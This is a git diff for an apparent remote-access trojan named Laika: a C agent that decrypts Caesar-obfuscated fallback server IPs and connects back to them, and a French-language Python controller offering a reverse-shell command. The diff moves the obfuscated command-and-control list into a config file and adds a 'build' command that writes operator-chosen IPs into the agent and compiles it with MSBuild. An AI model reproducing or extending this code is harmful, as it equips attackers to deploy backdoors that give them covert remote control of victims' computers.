diff --git a/Laika/Laika.vcxproj b/Laika/Laika.vcxproj index dc03993..0aac14d 100644 --- a/Laika/Laika.vcxproj +++ b/Laika/Laika.vcxproj @@ -158,6 +158,7 @@ + diff --git a/Laika/Laika.vcxproj.filters b/Laika/Laika.vcxproj.filters index 9340471..52e5721 100644 --- a/Laika/Laika.vcxproj.filters +++ b/Laika/Laika.vcxproj.filters @@ -7,6 +7,9 @@ {9e95c751-2cb6-4c1e-9f06-96b14532a979} + + {21b436ca-1cf6-4e3b-b4af-31279e56caf5} + @@ -26,5 +29,8 @@ Libs + + Config + \ No newline at end of file diff --git a/Laika/config.h b/Laika/config.h new file mode 100644 index 0000000..eabc268 --- /dev/null +++ b/Laika/config.h @@ -0,0 +1,3 @@ +char* fallback_servers[1] = { + "=3=3=3=", +}; \ No newline at end of file diff --git a/Laika/main.c b/Laika/main.c index 336d2f0..d50abde 100644 --- a/Laika/main.c +++ b/Laika/main.c @@ -2,6 +2,7 @@ #include #include #include "utils.h" +#include "config.h" #include "resolve_apis.h" #define Sleep_TIME 30 @@ -106,18 +107,12 @@ void SendShellEndedSignal(SOCKET sock) { #define FALLBACK_SERVERS 4 -char* fallback_servers[4]; int serv = -1; int main() { InitApis(); Message(); - fallback_servers[0] = CAESAR_DECRYPT("6>736;=3638:"); - fallback_servers[1] = CAESAR_DECRYPT(""); - fallback_servers[2] = CAESAR_DECRYPT(""); - fallback_servers[3] = CAESAR_DECRYPT("6>736;=36397"); - Tmemset memset = Api.memset; wchar_t wtext[20]; @@ -147,7 +142,7 @@ retry: if (serv > FALLBACK_SERVERS - 1) { serv = 0; } - server.sin_addr.s_addr = Api.inet_addr(fallback_servers[serv]); + server.sin_addr.s_addr = Api.inet_addr(CAESAR_DECRYPT(fallback_servers[serv])); //Create socket sock = Api.socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); diff --git a/Server/Server.py b/Server/Server.py index 91c6082..11c2264 100644 --- a/Server/Server.py +++ b/Server/Server.py @@ -120,6 +120,7 @@ def main() -> None : print("select : sélectionne le client avec lequel intéragir") print("deselect : désélectionne le client précédemment séléctionné avec \"select\"") print("shell : ouvre un reverse shell dans le client précédemment séléctionné avec \"select\"") + print("build : build un client") print("") elif cmd == "exit" : @@ -129,7 +130,39 @@ def main() -> None : elif cmd == "clear" : ban() + + elif cmd == "build" : + print("") + nb_fallbacks = input("Nombre de serveurs de fallback : ") + + if not nb_fallbacks.isdigit() or int(nb_fallbacks) < 0 : + print(f"\"{nb_fallbacks}\" n'est pas un nombre valide.") + continue + ips = [] + for i in range(1, int(nb_fallbacks)+1) : + while True : + s_ip = input(f"IP du serveur {i} : ") + if "." in s_ip : #technique de shlag mais un nom de domaine peut pas être vérifié avec socket du coup on check juste le "." + ips.append(CAESAR(s_ip)) + break + + print("") + print("Écriture de la config...") + with open("../Laika/config.h", "w") as config : + config.write("char* fallback_servers["+nb_fallbacks+"] = {\n") + for ip in ips : + config.write(f"\t\"{ip}\",\n") + config.write("};") + print("Config écrite") + + print("") + print("Compilation de l'agent..") + vs_path = os.popen("\"%ProgramFiles(x86)%/Microsoft Visual Studio/Installer/vswhere.exe\" -nologo -latest -property installationPath").read().replace("\n","") #https://stackoverflow.com/questions/46223916/msbuild-exe-not-found-cmd-exe + cmd_line = vs_path + "\\Msbuild\\Current\\Bin\\MSBuild.exe" + + os.system("\""+cmd_line+"\" ../Laika /p:Configuration=Release;Platform=x86") + elif cmd == "clients" : print("") x = PrettyTable() @@ -185,4 +218,4 @@ def main() -> None : else : print("Commande non reconnue, \"help\" pour afficher la liste des commandes.") -main() \ No newline at end of file +main() diff --git a/readme.md b/readme.md index 98d3e91..e61eca3 100644 --- a/readme.md +++ b/readme.md @@ -22,6 +22,7 @@ # Server * Fait en Python +* Permet de build le client/faire la config * Tout beau